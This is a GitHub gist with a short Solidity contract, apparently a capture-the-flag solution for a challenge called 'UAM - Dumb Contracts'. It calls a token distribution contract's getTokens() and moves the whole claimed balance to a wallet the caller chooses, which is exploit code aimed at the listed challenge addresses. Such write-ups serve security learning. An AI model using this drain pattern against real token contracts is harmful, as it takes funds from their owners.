Created
May 24, 2021 23:28
-
-
Save KaoRz/0fda806551231656791cba1788754ed7 to your computer and use it in GitHub Desktop.
UAM - Dumb Contracts
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.26; | |
/* | |
Distribution contract address: 0x2d29EBE818e771dE9ab67FA682FF16E11e152ab7 | |
UAMToken contract address: 0xd449e615f6d2A33F5aFB063aCce616b7A905c755 | |
*/ | |
import "./distribution.sol"; | |
contract UAMSolver { | |
address private wallet; | |
address private token; | |
TokenDistribution private distribution_contract; | |
ERC20Interface private token_contract; | |
constructor(address _wallet, address _distribution, address _token) public { | |
wallet = _wallet; | |
distribution_contract = TokenDistribution(_distribution); | |
token_contract = ERC20Interface(_token); | |
} | |
function getBalanceOf(address addr) public constant returns (uint) { | |
return token_contract.balanceOf(addr); | |
} | |
function doGetTokens() public { | |
distribution_contract.getTokens(); | |
getBalanceOf(wallet); | |
} | |
function doApproveTransfer() public { | |
uint totalBalance = getBalanceOf(this); | |
token_contract.approve(address(this), totalBalance); | |
token_contract.transfer(wallet, totalBalance); | |
} | |
function solveChallenge() public { | |
doGetTokens(); | |
doApproveTransfer(); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment